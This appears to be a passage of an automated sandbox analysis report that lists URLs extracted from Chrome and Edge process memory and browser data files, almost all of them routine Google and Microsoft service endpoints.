Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_dark.png/1.4.0/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr, HubApps Icons.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/2J
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ch
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Fh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Kj
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Mh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Oi
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Ph
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Wh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Yn
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/Zh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/ah
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/bi
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/dh
Source: chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/gjD
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/hi
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/kh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/nh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/oi
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/uh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/xh
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-join.fastly-edge.com/yi
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/2P
Source: chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Di
Source: chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/Ena
Source: chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-query.fastly-edge.com/https://chromekanonymityquery-pa.googleapis.com/htt
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/b
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google-ohttp-relay-safebrowsing.fastly-edge.com/bJ
Source: msedge.exe, 00000019.00000002.3001859074.000074F4024D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/googleapis.com
Source: chrome.exe, 00000012.00000002.2810709854.00002780006AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://googleusercontent.com/
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs27
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://goto.google.com/sme-bugs2e
Source: HDJEU3.12.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/161903006
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/166809097
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/184850002
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/187425444
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/220069903
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/229267970
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/250706693
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/253522366
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/255411748
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/258207403
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/274859104
Source: msedge.exe, 00000019.00000003.2975447168.000074F40257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/284462263
Source: msedge.exe, 00000019.00000003.2976240411.000074F40260C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://issuetracker.google.com/issues/166475273
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTE
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly
Source: chrome.exe, 00000012.00000003.2768069391.00002780019A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2
Source: chrome.exe, 00000012.00000003.2768069391.00002780019A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboard2
Source: chrome.exe, 00000012.00000002.2794787920.0000004400238000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardD$
Source: chrome.exe, 00000012.00000002.2796287793.0000004400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardDw_
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardb
Source: chrome.exe, 00000012.00000002.2796287793.0000004400770000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiment/2/springboardhttps://labs.google.com/search/experiments
Source: chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search/experiments
Source: chrome.exe, 00000012.00000002.2809863625.0000278000478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://labs.google.com/search?source=ntp
Source: chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/upload
Source: chrome.exe, 00000012.00000003.2739165122.000027800113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739266755.000027800120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/uploadbyurl
Source: chrome.exe, 00000012.00000003.2718142438.00000044006E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload
Source: chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/upload2
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116Plus
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918
Source: chrome.exe, 00000012.00000002.2796265003.0000004400744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lens.google.com/v3/uploadcompanion-iph-blocklisted-page-urlsexps-registration-success-page-u
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lensfrontend-pa.googleapis.com/v1/crupload2
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://m.google.com/devicemanagement/data/api
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/:
Source: chrome.exe, 00000012.00000002.2809863625.0000278000478000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?tab=rm&ogbl
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?usp=installed_webapp
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/J
Source: chrome.exe, 00000012.00000002.2809376618.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735151718.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732621548.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736735650.0000278000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: msedge.exe, 00000019.00000002.3001859074.000074F4024D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.cn/
Source: msedge.exe, 00000019.00000002.3001859074.000074F4024D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.com/
Source: Cookies.28.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.28.dr	String found in binary or memory: https://msn.comXIDv10
Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000012.00000002.2809715374.000027800040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811516626.0000278000884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810228742.0000278000544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000012.00000002.2810228742.0000278000544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone
Source: chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhones
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: chrome.exe, 00000012.00000002.2809715374.000027800040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811516626.0000278000884000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810228742.0000278000544000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/signinoptions/password?utm_source=ga-chrome-actions&utm_medium=changePW
Source: chrome.exe, 00000012.00000002.2811895050.00002780009E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812014272.0000278000A24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myactivity.google.com/
Source: 000003.log8.27.dr, 2cc80dabc69f58b6_0.27.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log7.27.dr	String found in binary or memory: https://ntp.msn.com/
Source: QuotaManager.27.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: Session_13379538502196996.27.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.27.dr, QuotaManager-journal.27.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: QuotaManager.27.dr, QuotaManager-journal.27.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default/
Source: 2cc80dabc69f58b6_0.27.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oauthaccountmanager.googleapis.com/v1/issuetoken
Source: msedge.exe, 00000019.00000002.3001859074.000074F4024D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://office.net/
Source: chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogads-pa.googleapis.com
Source: chrome.exe, 00000012.00000002.2808631973.00002780000FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.goog
Source: chrome.exe, 00000012.00000003.2776245551.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com
Source: chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/app/so?eom=1
Source: chrome.exe, 00000012.00000003.2775654512.0000278001C44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2788157585.0000278000DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2774896977.0000278001CBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776169900.0000278001CE0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ogs.google.com/widget/callout?eom=1
Source: chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2818760916.00002780012E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000012.00000002.2814607259.0000278000ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2818760916.00002780012E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000012.00000003.2736886824.0000278000A44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814607259.0000278000ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000012.00000003.2736886824.0000278000A44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000012.00000002.2808273997.0000278000014000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000012.00000003.2736886824.0000278000A44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809276901.00002780002D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000012.00000003.2736886824.0000278000A44000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816170246.0000278000F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000012.00000002.2814607259.0000278000ED0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2814206533.0000278000E29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: msedge.exe, 00000015.00000003.2865987835.000026600026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974268617.000074F402484000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000003.2974396044.000074F402488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://permanently-removed.invalid/AddSession
